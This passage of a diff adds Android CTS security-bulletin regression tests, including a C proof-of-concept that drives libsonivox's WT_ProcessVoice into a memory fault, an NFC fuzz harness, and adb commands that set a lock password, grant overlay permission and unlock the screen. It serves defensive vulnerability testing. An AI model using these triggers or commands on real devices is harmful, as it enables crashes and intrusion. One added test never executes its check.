NFC_STATUS_OK, + .p_data = p_msg, + }}; + + FUZZLOG(MODULE_NAME ": SubType=%02X, Response[%zd/%zd]=%s", ctx.SubType, + it - ctx.Data.cbegin(), ctx.Data.size() - 1, BytesToHex(*it).c_str()); + + /* CVE-2021-0925 starts */ + testInProgress = true; + /* CVE-2021-0925 ends */ + + rf_cback(NFC_RF_CONN_ID, NFC_DATA_CEVT, &conn); + + /* CVE-2021-0925 starts */ + testInProgress = false; + /* CVE-2021-0925 ends */ + } +} + +void Type4_FixPackets(uint8_t /*SubType*/, std::vector<bytes_t>& /*Data*/) {} + +void Type4_Fuzz(uint8_t SubType, const std::vector<bytes_t>& Data) { + Fuzz_Context ctx(SubType % SUB_TYPE_MAX, Data); + if (Fuzz_Init(ctx)) { + Fuzz_Run(ctx); + } + + Fuzz_Deinit(ctx); +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp new file mode 100644 index 00000000000..a48d5b73e1c --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/Android.bp @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2021-6685", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.c", + ":cts_hostsidetests_securitybulletin_memutils", + ], + include_dirs: [ + "external/sonivox/arm-wt-22k", + ], + cflags: [ + "-Wall", + "-Werror", + "-DNUM_OUTPUT_CHANNELS=2", + "-DDLS_SYNTHESIZER", + "-DCHECK_OVERFLOW", + "-DENABLE_SELECTIVE_OVERLOADING", + "-D_FILTER_ENABLED", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c new file mode 100644 index 00000000000..cf1ba596c63 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-6685/poc.c @@ -0,0 +1,70 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <dlfcn.h> +#include <host_src/eas_types.h> +#include <lib_src/eas_wtengine.h> +#include <stdbool.h> +#include <stdlib.h> +#include <string.h> +#include "../includes/common.h" +#include "../includes/memutils.h" +#define MEM_ALIGNMENT 16 +#define PHASE_INCREMENT 555555 + +typedef void (*fp_WT_Process_Voice)(S_WT_VOICE *, S_WT_INT_FRAME *); +char enable_selective_overload = ENABLE_NONE; +void *libHandle = NULL; +void *phaseAccumPtr = NULL; + +void exit_Handler(void) { + if (phaseAccumPtr) { + free(phaseAccumPtr); + } + if (libHandle) { + dlclose(libHandle); + } +} + +int main() { + atexit(exit_Handler); + libHandle = dlopen("libsonivox.so", RTLD_NOW | RTLD_LOCAL); + FAIL_CHECK(libHandle); + fp_WT_Process_Voice functionWTProcessVoice = + (fp_WT_Process_Voice)dlsym(libHandle, "WT_ProcessVoice"); + FAIL_CHECK(functionWTProcessVoice); + + S_WT_VOICE pWTVoice = {}; + enable_selective_overload = ENABLE_MEMALIGN_CHECK; + pWTVoice.phaseAccum = (EAS_U32)memalign(MEM_ALIGNMENT, sizeof(EAS_I16)); + FAIL_CHECK((void *)pWTVoice.phaseAccum); + phaseAccumPtr = ((void *)pWTVoice.phaseAccum); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + pWTVoice.loopEnd = pWTVoice.phaseAccum; + pWTVoice.loopStart = pWTVoice.phaseAccum; + + S_WT_INT_FRAME pWTIntFrame = {}; + pWTIntFrame.frame.phaseIncrement = PHASE_INCREMENT; + EAS_PCM pAudioBuffer; + EAS_I32 pMixBuffer; + pWTIntFrame.pAudioBuffer = &pAudioBuffer; + pWTIntFrame.pMixBuffer = &pMixBuffer; + pWTIntFrame.numSamples = 1; + + functionWTProcessVoice(&pWTVoice, &pWTIntFrame); + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java index 912ba28a802..c8e8cbfe049 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java @@ -36,6 +36,7 @@ import java.io.OutputStream; import java.util.concurrent.TimeoutException; import java.util.List; import java.util.Map; +import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.concurrent.TimeUnit; import java.util.Scanner; @@ -60,6 +61,12 @@ public class AdbUtils { final static int TIMEOUT_SEC = 9 * 60; final static String RESOURCE_ROOT = "/"; + final static String regexSpecialChars = "<([{\\^-=$!|]})?*+.>"; + @SuppressWarnings("InvalidPatternSyntax") // the errorprone test is incorrect for the following + final static String regexSpecialCharsEscaped = regexSpecialChars.replaceAll(".", "\\\\$0"); + final static Pattern regexSpecialCharsEscapedPattern = + Pattern.compile("[" + regexSpecialCharsEscaped + "]"); + public static class pocConfig { String binaryName; String arguments; @@ -485,7 +492,7 @@ public class AdbUtils { */ public static void runPocAssertExitStatusNotVulnerable(String pocName, String arguments, ITestDevice device, int timeout) throws Exception { - runPocGetExitStatus(pocName, arguments, null, device, timeout); + runPocAssertExitStatusNotVulnerable(pocName, arguments, null, device, timeout); } /** @@ -751,4 +758,16 @@ public class AdbUtils { public static void assumeHasNfc(ITestDevice device) throws DeviceNotAvailableException { assumeTrue("nfc not available on device", device.hasFeature("android.hardware.nfc")); } + + /** + * Escapes regex special characters in the given string + * + * @param testString string for which special characters need to be escaped + * + * @return string with escaped special charcters + */ + public static String escapeRegexSpecialChars(String testString) { + Matcher m = regexSpecialCharsEscapedPattern.matcher(testString); + return m.replaceAll("\\\\$0"); + } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java new file mode 100644 index 00000000000..63a5370188f --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java @@ -0,0 +1,54 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License + */ +package android.security.cts; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; +import org.junit.Test; +import org.junit.Before; +import org.junit.runner.RunWith; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public final class Bug_183613671 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.BUG_183613671"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "BUG-183613671.apk"; + + @Before + public void setUp() throws Exception { + assumeTrue( + "not an Automotive device", + getDevice().hasFeature("feature:android.hardware.type.automotive")); + uninstallPackage(getDevice(), TEST_PKG); + } + + @Test + @AsbSecurityTest(cveBugId = 183613671) + public void testRunDeviceTestsPassesFull() throws Exception { + installPackage(TEST_APP); + // Grant permission to draw overlays. + getDevice().executeShellCommand( + "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW"); + getDevice().executeShellCommand("locksettings set-password test1234"); + assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking")); + + getDevice().executeShellCommand("locksettings clear --old test1234"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java new file mode 100644 index 00000000000..df360d0d1d0 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java @@ -0,0 +1,47 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.compatibility.common.util.CrashUtils; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2018_9537 extends SecurityTestCase { + + /** + * b/112891564 + * Vulnerability Behaviour: SIGSEGV in self (Android P), + * SIGABRT in self (Android Q onward) + */ + @AsbSecurityTest(cveBugId = 112891564) + @Test + public void testPocCVE_2018_9537() throws Exception { + String binaryName = "CVE-2018-9537"; + String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + // example of check crash to skip: + // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.' + testConfig.config = new CrashUtils.Config() + .setProcessPatterns(binaryName) + .appendAbortMessageExcludes("CHECK\\(.*?\\)"); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java index afc7a2bb65c..e6863ac86a7 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java @@ -34,7 +34,7 @@ public class CVE_2019_2014 extends SecurityTestCase { public void testPocCVE_2019_2014() throws Exception { pocPusher.only64(); String binaryName = "CVE-2019-2014"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); testConfig.config.setSignals(signals); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java index 81e559ae1f0..e5e6810c8fb 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java @@ -72,9 +72,18 @@ public class CVE_2021_0481 extends BaseHostJUnit4Test { installPackage(); //ensure the screen is woken up. - //(we need to do this twice. once wakes up the screen, and another unlocks the lock screen) - getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP"); + //KEYCODE_WAKEUP wakes up the screen + //KEYCODE_MENU called twice unlocks the screen (if locked) + //Note: (applies to Android 12 only): + // KEYCODE_MENU called less than twice doesnot unlock the screen + // no matter how many times KEYCODE_HOME is called. + // This is likely a timing issue which has to be investigated further getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP"); + getDevice().executeShellCommand("input keyevent KEYCODE_MENU"); + getDevice().executeShellCommand("input keyevent KEYCODE_HOME"); + getDevice().executeShellCommand("input keyevent KEYCODE_MENU"); + + //run the test Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp")); //Check if TEST_FILE_NAME has been copied by "Evil activity" diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java index 52e2a3a0e96..34e2ca1ec31 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java @@ -18,6 +18,7 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; import org.junit.Assert; @@ -33,7 +34,12 @@ public class CVE_2021_0586 extends BaseHostJUnit4Test { @Before public void setUp() throws Exception { - uninstallPackage(getDevice(), TEST_PKG); + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); } /** @@ -46,6 +52,6 @@ public class CVE_2021_0586 extends BaseHostJUnit4Test { installPackage(TEST_APP); AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", getDevice()); - Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testClick")); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java new file mode 100644 index 00000000000..f5f6b8b19b0 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java @@ -0,0 +1,46 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import org.junit.Assert; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0685 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.cve_2021_0685"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0685.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + @AppModeFull + @AsbSecurityTest(cveBugId = 191055353) + @Test + public void testPocCVE_2021_0685() throws Exception { + installPackage(TEST_APP); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPackageElementPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java new file mode 100644 index 00000000000..666f7918718 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0689.java @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0689 extends SecurityTestCase { + + /** + * b/190188264 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 190188264) + @Test + public void testPocCVE_2021_0689() throws Exception { + String inputFiles[] = {"cve_2021_0689.png"}; + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0689", + AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java new file mode 100644 index 00000000000..5f13cf6feec --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java @@ -0,0 +1,49 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0693 extends BaseHostJUnit4Test { + + private static final String TEST_PKG = "android.security.cts.CVE_2021_0693"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0693.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + /** + * b/184046948 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 184046948) + @Test + public void testPocCVE_2021_0693() throws Exception { + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testHeapDumpAccessibility"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java new file mode 100644 index 00000000000..c46bedeb2f7 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java @@ -0,0 +1,51 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0706 extends BaseHostJUnit4Test { + + private static final String TEST_PKG = "android.security.cts.CVE_2021_0706"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0706.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + @AppModeFull + @AsbSecurityTest(cveBugId = 193444889) + @Test + public void testPocCVE_2021_0706() throws Exception { + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testDisablePlugin"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java new file mode 100644 index 00000000000..27900e19fcb --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java @@ -0,0 +1,68 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.util.Log; +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.tradefed.log.LogUtil.CLog; +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import static org.junit.Assert.*; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0921 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.CVE_2021_0921"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0921.apk"; + + @Before + public void setUp() throws Exception { + uninstallPackage(getDevice(), TEST_PKG); + } + + @Test + @AsbSecurityTest(cveBugId = 195962697) + @AppModeFull + public void testRunDeviceTest() throws Exception { + + CLog.i("testRunDeviceTest() start"); + installPackage(); + + //ensure the screen is woken up. + //KEYCODE_WAKEUP wakes up the screen + //KEYCODE_MENU called twice unlocks the screen (if locked) + getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP"); + getDevice().executeShellCommand("input keyevent KEYCODE_MENU"); + getDevice().executeShellCommand("input keyevent KEYCODE_HOME"); + getDevice().executeShellCommand("input keyevent KEYCODE_MENU"); + + //run the test + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test")); + CLog.i("testRunDeviceTest() end"); + } + + private void installPackage() throws Exception { + installPackage(TEST_APP, new String[0]); + } +} + diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java new file mode 100644 index 00000000000..617658973bb --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; +import android.platform.test.annotations.AsbSecurityTest; +import com.android.compatibility.common.util.CrashUtils; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0925 extends SecurityTestCase { + + /** + * Vulnerability Behaviour: SIGSEGV in self + */ + @Test + @AsbSecurityTest(cveBugId = 191444150) + public void testPocCVE_2021_0925() throws Exception { + pocPusher.only64(); + String binaryName = "CVE-2021-0925"; + String inputFiles[] = {"cve_2021_0925"}; + String signals[] = {CrashUtils.SIGSEGV}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.config.setSignals(signals); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java new file mode 100644 index 00000000000..65d687e4b17 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import org.junit.runner.RunWith; +import org.junit.Test; +import static org.junit.Assume.*; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_6685 extends SecurityTestCase { + + /** + * b/190286685 + * Vulnerability Behaviour: SIGSEGV in self + */ + @AsbSecurityTest(cveBugId = 190286685) + @Test + public void testPocCVE_2021_6685() throws Exception { + assumeFalse(moduleIsPlayManaged("com.google.android.media")); + AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-6685", null, getDevice()); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java index 36bcd0d3fb2..06cf21a7068 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java @@ -254,6 +254,17 @@ public class TestMedia extends SecurityTestCase { } /** + * b/74122779 + * Vulnerability Behaviour: SIGABRT in audioserver + */ + @Test + @AsbSecurityTest(cveBugId = 74122779) + public void testPocCVE_2018_9428() throws Exception { + String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice()); + } + + /** * b/64340921 * Vulnerability Behaviour: SIGABRT in audioserver */ @@ -498,26 +509,6 @@ public class TestMedia extends SecurityTestCase { AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } - /** - * b/112891564 - * Vulnerability Behaviour: SIGSEGV in self (Android P), - * SIGABRT in self (Android Q onward) - */ - @Test - @AsbSecurityTest(cveBugId = 112891564) - public void testPocCVE_2018_9537() throws Exception { - String binaryName = "CVE-2018-9537"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; - AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); - // example of check crash to skip: - // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.' - testConfig.config = new CrashUtils.Config() - .setProcessPatterns(binaryName) - .appendAbortMessageExcludes("CHECK\\(.*?\\)"); - testConfig.config.setSignals(signals); - AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); - } - /****************************************************************************** * To prevent merge conflicts, add tests for Q below this comment, before any * existing test methods diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp index 90ee4ffbb43..e02248dcdf1 100644 --- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp @@ -1,10 +1,10 @@ -// Copyright (C) 2020 The Android Open Source Project +// Copyright (C) 2021 The Android Open Source Project // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // -// http://www.apache.org/licenses/LICENSE-2.0 +// http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, @@ -12,22 +12,20 @@ // See the License for the specific language governing permissions and // limitations under the License. -package { - default_applicable_licenses: ["Android-Apache-2.0"], -} - android_test_helper_app { - name: "BootCompletedUserspaceRebootTestApp", - srcs: ["src/**/*.java"], - manifest : "AndroidManifest.xml", + name: "BUG-183613671", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "cts", + "vts10", + "sts", + ], static_libs: [ - "androidx.test.runner", + "androidx.appcompat_appcompat", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", "androidx.test.core", - "compatibility-device-util-axt", - "testng", - "truth-prebuilt", ], - min_sdk_version: "29", - sdk_version: "30", - target_sdk_version: "29", + sdk_version: "current", } diff --git 